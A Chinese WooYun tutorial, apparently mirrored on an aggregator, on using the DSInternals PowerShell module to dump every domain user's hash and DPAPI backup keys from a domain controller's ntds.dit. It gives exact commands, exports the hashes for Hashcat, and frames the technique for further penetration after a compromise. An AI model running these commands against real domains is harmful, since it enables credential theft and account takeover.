

利用Powershell快速导出域控所有用户Hash | WooYun知识库
source link:
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

利用Powershell快速导出域控所有用户Hash
0x00 前言
之前在《导出当前域内所有用户hash的技术整理》中测试了5种导出域内所有用户hash的方法,经过这一段时间的学习和实践,找到了新的方法,也很有效,分享给大家。
0x01 简介
对于离线导出域控所有用户Hash,NTDSXtract依旧是主流
优点:
获取信息全面
稳定,上G的ntds.dit文件也可以正常解析
缺点:
耗时,对于大型数据库,解析效率低
不支持内置索引,对于大型数据库,查找特定对象效率低
运行在Linux,不支持windows
无法修改ntds的数据库
但就在最近,能够综合解决上述问题的工具出现了,经过一段时间的测试和使用,个人认为已经可以替代NTDSXtract
下面就介绍一下今天的主角——DSInternals PowerShell Module
下载地址:
DSInternals PowerShell Module:
https://www.dsinternals.com/wp-content/uploads/DSInternals_v2.8.zip
《导出当前域内所有用户hash的技术整理》:
http://drops.wooyun.org/tips/6617
0x02 DSInternals PowerShell Module介绍
1、版本
v2.8
2、适用环境
支持系统:
Windows Server 2012 R2
Windows Server 2008 R2
Windows 10 64-bit
Windows 8.1 64-bit
Windows 7 64-bit
(以上为官方说明)
注:
实际测试32位也可以
Windows 7 、Windows Server 2008 R2默认环境下PowerShell版本2.0,不支持
PowerShell版本需要升级至3.0
软件版本:
- Windows PowerShell 3+
- .NET Framework 4.5+
(此为官方说明)
注:
实测.NET Framework 4.0即可
3、安装方法
1、PowerShell 5.0:
Install-Module DSInternals
2、PowerShell 3.0、4.0
解压压缩包
cd C:\test\DSInternals
Import-Module .\DSInternals
4、功能模块
1、在线操作活动目录数据库
Get-ADReplAccount:读取账户信息
Set-SamAccountPasswordHash:设置账户的NTHash和LMHash
Get-ADReplBackupKey:读取DPAPI backup keys
2、离线操作活动目录数据库
Get-ADDBAccount:从ntds.dit文件读取账户信息
Get-BootKey:从SYSTEM文件读取BootKey
Get-ADDBBackupKey::从ntds.dit文件读取DPAPI backup keys
Add-ADDBSidHistory:向ntds.dit文件添加SIDHistory信息
Set-ADDBPrimaryGroup:修改ntds.dit文件的primaryGroupId属性
Get-ADDBDomainController:从ntds.dit文件读取域控信息,包括domain name, domain SID, DC name and DC site.
Set-ADDBDomainController:向ntds.dit文件添加域控信息
Get-ADDBSchemaAttribute:从ntds.dit文件读取AD schema,包括数据表的列名
Remove-ADDBObject:从ntds.dit文件移除特定对象
3、 Hash计算
ConvertTo-NTHash:给定密码,计算NT hash
ConvertTo-LMHash:给定密码,计算LM hash
ConvertTo-OrgIdHash:给定密码,计算OrgId hash
4、补充
对于Get-ADDBAccount读取到的账户信息,可将其中包含的Hash值按如下格式导出:
HashcatNT:支持Hashcat的NT hash
HashcatLM:支持Hashcat的LM hash
JohnNT:支持John the Ripper的NT hash
JohnLM:支持John the Ripper的LM hash
Ophcrack:支持Ophcrack的NT hash、LM hash
注:
列出以上三款Hash破解工具的地址:
Hashcat:
http://hashcat.net/oclhashcat/
John the Ripper:
http://www.openwall.com/john/
Ophcrack:
http://ophcrack.sourceforge.net/
0x03 测试环境
操作系统:
win10 x64
Powershell版本:
v5
需要文件:
ntds.dit
SAM
SYSTEM
文件来源:
域控:server2008R2
导出方法:
vssown.vbs或ShadowCopy(之前文章有介绍,导出过程略过)
0x04 实际测试
1、安装配置
下载DSInternals PowerShell Module
允许Powershell执行脚本:
Set-ExecutionPolicy Unrestricted
安装DSInternals:
Install-Module -Name DSInternals
导入DSInternals:
Import-Module DSInternals
2、获取所有账户信息
$key = Get-BootKey -SystemHivePath 'C:\Users\a\Desktop\a\SYSTEM'
Get-ADDBAccount -All -DBPath 'C:\Users\a\Desktop\a\ntds.dit' -BootKey $key
如图
3、获取指定账户信息
$key = Get-BootKey -SystemHivePath 'C:\Users\a\Desktop\a\SYSTEM'
Get-ADDBAccount -DistinguishedName 'CN=krbtgt,CN=Users,DC=test,DC=local' -DBPath 'C:\Users\a\Desktop\a\ntds.dit' -BootKey $key
如图
4、导出支持Hashcat的NT hash
Get-ADDBAccount -All -DBPath 'C:\Users\a\Desktop\a\ntds.dit' -BootKey $key | Format-Custom -View HashcatNT | Out-File hashes.txt
如图
5、导出DPAPI backup keys
(1)获得BootKey
Get-BootKey -SystemHiveFilePath 'C:\Users\a\Desktop\a\SYSTEM'
得到c76034ff820edbc012308a258faf3d26
如图
(2)解密得到DPAPI backup keys
Get-ADDBBackupKey -DBPath 'C:\Users\a\Desktop\a\ntds.dit' -BootKey c76034ff820edbc012308a258faf3d26 | Format-List
(3)导出到文件
Get-ADDBBackupKey -DBPath 'C:\Users\a\Desktop\a\ntds.dit' -BootKey c76034ff820edbc012308a258faf3d26 | Save-DPAPIBlob -DirectoryPath .\Keys
6、Hash计算
$pwd = ConvertTo-SecureString 'TestTest' -AsPlainText -Force
ConvertTo-NTHash $pwd
ConvertTo-LMHash $pwd
ConvertTo-OrgIdHash -NTHash 'd280553f0103f2e643406517296e7582'
如图
0x05 小结
随着技术的发展,效率一直在提高
在获取域控权限下,导出所有用户hash的方法越来越简便,当域控被攻陷后,可以在很短的时间内提取出有用的信息用来进一步渗透,内网渗透将会越来越有趣。
本文由三好学生原创并首发于乌云drops,转载请注明
Recommend
-
91
WebView域控不严格读取内部私有文件实验 test0max 2018-01-18 09:00:40 7658...
-
5
利用Office宏及Powershell的针对性攻击样本分析 360安全卫士...
-
11
导出当前域内所有用户hash的技术整理 三好学生
-
22
巧用DSRM密码同步将域控权限持久化 Her0in
-
26
AD帐户分类入门 AD中的内置管理模型存在非常高的风险,它允许将Domain Admins和其他敏感帐户暴露给当今大多数企业网络中——比如允许登录到工作站和其他客户端成员计算机,默认情况下这导致未启动者在高度特权的帐...
-
15
一、背景介绍 这是去年11月份的应急事件,反复到客户现场多次才找到原因,最后得到的结论也极为简单。解决问题过程中,由于客户给的压力较大,甚至几次都找错方向,但最终还是将问题解决,在这里我分享一下此次...
-
11
奇安信Ateam文章地址: XXE to 域控 概述 本文...
-
13
0x00 前言 在之前的文章《导出当前域内所有用户hash的技术整理》曾介绍过通过Volume Shadow Copy实现对ntds.dit文件的复制, 可用来导出域内所有用户hash。本文将尝试做系统总结,总结多种不同的方法。 0x01 简介 本文将...
-
15
一、说明: 最近我们公司流行一种特别强大的风气,走进职场办公区后,给人一种特别不好的影响,就是每个工位上的电脑屏上显示着五花八门的图案、壁纸,于是信息部领导发话了,要求职场办公电脑必须统一管理桌面壁纸,不允许个...
-
20
域渗透——利用DCSync导出域内所有用户hash的方法 14 Jul 20210x00 前言 在之前的文章《域渗透——DCSync》曾系统的整理过DCSync的利用方法,本文将要针...
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK